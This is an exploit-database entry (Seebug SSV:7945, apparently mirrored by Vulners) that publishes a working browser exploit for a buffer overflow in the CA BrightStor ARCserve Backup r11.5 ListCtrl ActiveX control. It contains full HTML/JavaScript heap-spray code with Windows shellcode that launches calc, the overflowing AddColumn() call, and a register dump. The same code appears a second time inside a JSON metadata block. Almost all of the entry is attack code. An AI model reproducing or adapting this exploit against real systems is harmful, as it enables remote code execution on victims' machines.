Search...

CA BrightStor ARCserve Backup r11.5 ActiveX Remote BOF Exploit

2008-03-19T00:00:00

ID SSV:7945
Type seebug
Reporter Root
Modified 2008-03-19T00:00:00

Description

No description provided by source.

                                        
                                            
                                                &amp;lt;HTML&amp;gt;
&amp;lt;!--
CA BrightStor ARCserve Backup r11.5 AddColumn() 0day ActiveX Remote Buffer Overflow Exploit
Bug discovered by Krystian Kloskowski (h07) &amp;lt;h07@interia.pl&amp;gt;
Tested on: 
- CA BrightStor ARCserve Backup r11.5 (ftp://ftp.ca.com/priv/trial/BABr11/BABLDr115/BABLDr115.zip)
- IE 6 
- XP SP2 Polish
Details:..

Filename: CADSM inListCtrl.ocx
File description: Unicenter DSM r11 List Control ATX
CLSID: {BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3}
ProgID: LISTCTRL.ListCtrlCtrl.1
Version: 11.2.3.1895
Company: CA

AddColumn(%u4141%u4141..&#91;128&#93;, 1);
 
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading &#91;41414141&#93;)
----------------------------------------------------------------
EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDX=7C9037D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00
ESP=0012A9C4: BF 37 90 7C AC AA 12 00-9C AF 12 00 C8 AA 12 00
EBP=0012A9E4: 94 AA 12 00 8B 37 90 7C-AC AA 12 00 9C AF 12 00
ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EIP=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
----------------------------------------------------------------
--&amp;gt;

&amp;lt;object id=&amp;quot;obj&amp;quot; classid=&amp;quot;clsid:BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3&amp;quot;&amp;gt;&amp;lt;/object&amp;gt;

&amp;lt;script&amp;gt;

var shellcode = unescape(&amp;quot;%u9090%u9090&amp;quot;+  //Windows Execute Command (calc)
&amp;quot;%ue8fcD%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b&amp;quot;+
&amp;quot;%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca&amp;quot;+
&amp;quot;%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b&amp;quot;+
&amp;quot;%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040&amp;quot;+
&amp;quot;%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0&amp;quot;+
&amp;quot;%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%uf068%u048a&amp;quot;+
&amp;quot;%u685f%ufe98%u0e8a%uff57%u63e7%u6c61c&amp;quot;);

var address = 0x0A0A0A0A;
var block_size = 0x400000;
var blocks = (address - block_size) / block_size;
var filler = unescape(&amp;quot;%u0A0A%u0A0A&amp;quot;);
var buf = unescape(&amp;quot;%u0A0A%u0A0A&amp;quot;);
var buf_size = 128;

while((filler.length * 2) &amp;lt; block_size) filler += filler;
filler = filler.substring(0, block_size - shellcode.length);
memory = new Array();
for(i = 0; i &amp;lt; blocks; i++) memory&#91;i&#93; = filler + shellcode;
while(buf.length &amp;lt; (buf_size * 2)) buf += buf;
buf = buf.substring(0, buf_size);

obj.AddColumn(buf, 1);

&amp;lt;/script&amp;gt;
&amp;lt;/HTML&amp;gt;

# sebug.net

JSON Vulners Source

Initial Source

{"href": "https://www.seebug.org/vuldb/ssvid-7945", "status": "poc", "bulletinFamily": "exploit", "modified": "2008-03-19T00:00:00", "title": "CA BrightStor ARCserve Backup r11.5 ActiveX Remote BOF Exploit", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-7945", "cvelist": [], "description": "No description provided by source.", "viewCount": 2, "published": "2008-03-19T00:00:00", "sourceData": "\n &lt;HTML&gt;\r\n&lt;!--\r\nCA BrightStor ARCserve Backup r11.5 AddColumn() 0day ActiveX Remote Buffer Overflow Exploit\r\nBug discovered by Krystian Kloskowski (h07) &lt;h07@interia.pl&gt;\r\nTested on: \r\n- CA BrightStor ARCserve Backup r11.5 (ftp://ftp.ca.com/priv/trial/BABr11/BABLDr115/BABLDr115.zip)\r\n- IE 6 \r\n- XP SP2 Polish\r\nDetails:..\r\n\r\nFilename: CADSM inListCtrl.ocx\r\nFile description: Unicenter DSM r11 List Control ATX\r\nCLSID: {BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3}\r\nProgID: LISTCTRL.ListCtrlCtrl.1\r\nVersion: 11.2.3.1895\r\nCompany: CA\r\n\r\nAddColumn(%u4141%u4141..[128], 1);\r\n \r\n----------------------------------------------------------------\r\nException C0000005 (ACCESS_VIOLATION reading [41414141])\r\n----------------------------------------------------------------\r\nEAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??\r\nEBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??\r\nECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??\r\nEDX=7C9037D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00\r\nESP=0012A9C4: BF 37 90 7C AC AA 12 00-9C AF 12 00 C8 AA 12 00\r\nEBP=0012A9E4: 94 AA 12 00 8B 37 90 7C-AC AA 12 00 9C AF 12 00\r\nESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??\r\nEDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??\r\nEIP=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??\r\n----------------------------------------------------------------\r\n--&gt;\r\n\r\n&lt;object id=&quot;obj&quot; classid=&quot;clsid:BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3&quot;&gt;&lt;/object&gt;\r\n\r\n&lt;script&gt;\r\n\r\nvar shellcode = unescape(&quot;%u9090%u9090&quot;+ //Windows Execute Command (calc)\r\n&quot;%ue8fcD%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b&quot;+\r\n&quot;%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca&quot;+\r\n&quot;%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b&quot;+\r\n&quot;%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040&quot;+\r\n&quot;%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0&quot;+\r\n&quot;%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%uf068%u048a&quot;+\r\n&quot;%u685f%ufe98%u0e8a%uff57%u63e7%u6c61c&quot;);\r\n\r\nvar address = 0x0A0A0A0A;\r\nvar block_size = 0x400000;\r\nvar blocks = (address - block_size) / block_size;\r\nvar filler = unescape(&quot;%u0A0A%u0A0A&quot;);\r\nvar buf = unescape(&quot;%u0A0A%u0A0A&quot;);\r\nvar buf_size = 128;\r\n\r\nwhile((filler.length * 2) &lt; block_size) filler += filler;\r\nfiller = filler.substring(0, block_size - shellcode.length);\r\nmemory = new Array();\r\nfor(i = 0; i &lt; blocks; i++) memory[i] = filler + shellcode;\r\nwhile(buf.length &lt; (buf_size * 2)) buf += buf;\r\nbuf = buf.substring(0, buf_size);\r\n\r\nobj.AddColumn(buf, 1);\r\n\r\n&lt;/script&gt;\r\n&lt;/HTML&gt;\r\n\r\n# sebug.net\n ", "id": "SSV:7945", "enchantments_done": [], "type": "seebug", "lastseen": "2017-11-19T21:45:24", "reporter": "Root", "enchantments": {"score": {"value": 0.1, "vector": "NONE", "modified": "2017-11-19T21:45:24", "rev": 2}, "dependencies": {"references": [], "modified": "2017-11-19T21:45:24", "rev": 2}, "vulnersScore": 0.1}, "references": []}